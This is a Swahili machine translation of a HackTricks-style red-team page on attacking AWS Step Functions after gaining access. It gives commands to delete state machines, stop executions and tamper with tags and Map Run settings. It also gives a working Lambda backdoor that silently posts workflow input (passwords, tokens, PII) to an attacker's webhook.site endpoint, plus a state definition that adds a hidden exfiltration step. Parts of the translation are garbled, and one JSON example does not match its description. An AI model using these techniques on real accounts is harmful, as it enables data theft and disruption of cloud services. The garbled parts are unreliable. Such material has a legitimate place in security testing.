AWS - Step Functions Post Exploitation

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Step Functions

Kwa maelezo zaidi kuhusu huduma hii ya AWS, angalia:

AWS - Step Functions Enum

states:RevealSecrets

Ruhusa hii inaruhusu kufichua data za siri ndani ya utekelezaji. Ili kufanya hivyo, inahitajika kuweka kiwango cha Ukaguzi kuwa TRACE na parameter ya revealSecrets kuwa kweli.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Mshambuliaji mwenye ruhusa hizi angeweza kufuta kabisa mashine za hali, toleo zao, na majina. Hii inaweza kuharibu michakato muhimu, kusababisha kupoteza data, na kuhitaji muda mwingi kurekebisha na kurejesha mashine za hali zilizoathiriwa. Zaidi ya hayo, ingemruhusu mshambuliaji kuficha alama zilizotumika, kuharibu uchunguzi wa forensics, na kwa uwezekano kuathiri shughuli kwa kuondoa michakato muhimu ya automatisering na usanidi wa hali.

note

  • Kufuta mashine ya hali pia unafuta toleo zake zote na majina.
  • Kufuta jina la mashine ya hali huwezi kufuta toleo za mashine ya hali zinazorejelea jina hili.
  • Haiwezekani kufuta toleo la mashine ya hali ambalo kwa sasa linarejelewa na majina moja au zaidi.
bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Madhara Yanayoweza Kutokea: Kuingiliwa kwa michakato muhimu, kupoteza data, na muda wa kukosekana kwa operesheni.

states:UpdateMapRun

Mshambuliaji mwenye ruhusa hii angeweza kubadilisha usanidi wa kushindwa kwa Ramani ya Kimbunga na mipangilio ya sambamba, akiwa na uwezo wa kuongeza au kupunguza idadi ya juu ya utekelezaji wa michakato ya watoto inayoruhusiwa, ikihusisha moja kwa moja na utendaji wa huduma. Zaidi ya hayo, mshambuliaji anaweza kuingilia asilimia na hesabu ya kushindwa inayokubalika, akiwa na uwezo wa kupunguza thamani hii hadi 0 hivyo kila wakati kipengele kinaposhindwa, ramani nzima ya kimbunga itashindwa, ikihusisha moja kwa moja na utekelezaji wa mashine ya hali na kwa uwezekano kuingilia michakato muhimu.

bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Madhara Yanayoweza Kutokea: Kupungua kwa utendaji, na kuingiliwa kwa michakato muhimu.

states:StopExecution

Mshambuliaji mwenye ruhusa hii anaweza kuweza kusitisha utekelezaji wa mashine yoyote ya hali, kuingilia michakato na shughuli zinazoendelea. Hii inaweza kusababisha muamala usikamilike, shughuli za biashara kusimama, na uwezekano wa uharibifu wa data.

warning

Hatua hii haisaidiwi na mashine za hali za haraka.

bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Madhara Yanayoweza Kutokea: Kuingiliwa kwa michakato inayoendelea, muda wa kukosekana kwa operesheni, na uwezekano wa uharibifu wa data.

states:TagResource, states:UntagResource

Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za Step Functions, kuingilia kati mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.

bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Madhara Yanayoweza Kutokea: Kuingiliwa kwa ugawaji wa gharama, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.


states:UpdateStateMachine, lambda:UpdateFunctionCode

Mshambuliaji ambaye anapata udhibiti wa mtumiaji au jukumu lenye ruhusa zifuatazo:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

...inaweza kufanya shambulio la baada ya unyakuzi lenye athari kubwa na lisiloonekana kwa kuunganisha backdooring ya Lambda na urekebishaji wa mantiki ya Step Function.

Hali hii inadhani kwamba mwathirika anatumia AWS Step Functions kuandaa kazi zinazoshughulikia pembejeo nyeti, kama vile akidi, tokeni, au PII.

Mfano wa mwathirika anayeitwa:

bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Ikiwa Step Function imewekwa ili kuitisha Lambda kama LegitBusinessLogic, mshambuliaji anaweza kuendelea na aina mbili za shambulio zisizoonekana:


Sasisha kazi ya lambda

Mshambuliaji anabadilisha msimbo wa kazi ya Lambda ambayo tayari inatumika na Step Function (LegitBusinessLogic) ili kimya kimya kuhamasisha data ya pembejeo.

python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Ongeza Jimbo Hatari kwa Kazi ya Hatua

Vinginevyo, mshambuliaji anaweza kuingiza exfiltration state mwanzoni mwa mchakato kwa kuboresha ufafanuzi wa Kazi ya Hatua.

malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

Mshambuliaji anaweza hata kuwa na ujanja zaidi kubadilisha ufafanuzi wa hali kuwa kitu kama hiki { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } ambapo mwathirika hataweza kugundua tofauti


Mipangilio ya Mwathirika (Muktadha wa Ushambuliaji)

  • Kazi ya Hatua (LegitStateMachine) inatumika kushughulikia pembejeo nyeti za mtumiaji.
  • Inaita kazi moja au zaidi za Lambda kama LegitBusinessLogic.

Athari Zinazoweza Kutokea:

  • Uhamasishaji wa kimya wa data nyeti ikiwa ni pamoja na siri, akidi, funguo za API, na PII.
  • Hakuna makosa au kushindwa kuonekana katika utekelezaji wa mtiririko wa kazi.
  • Vigumu kugundua bila kukagua msimbo wa Lambda au alama za utekelezaji.
  • Inaruhusu kudumu kwa muda mrefu ikiwa nyuma ya mlango inabaki katika msimbo au mantiki ya ASL.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks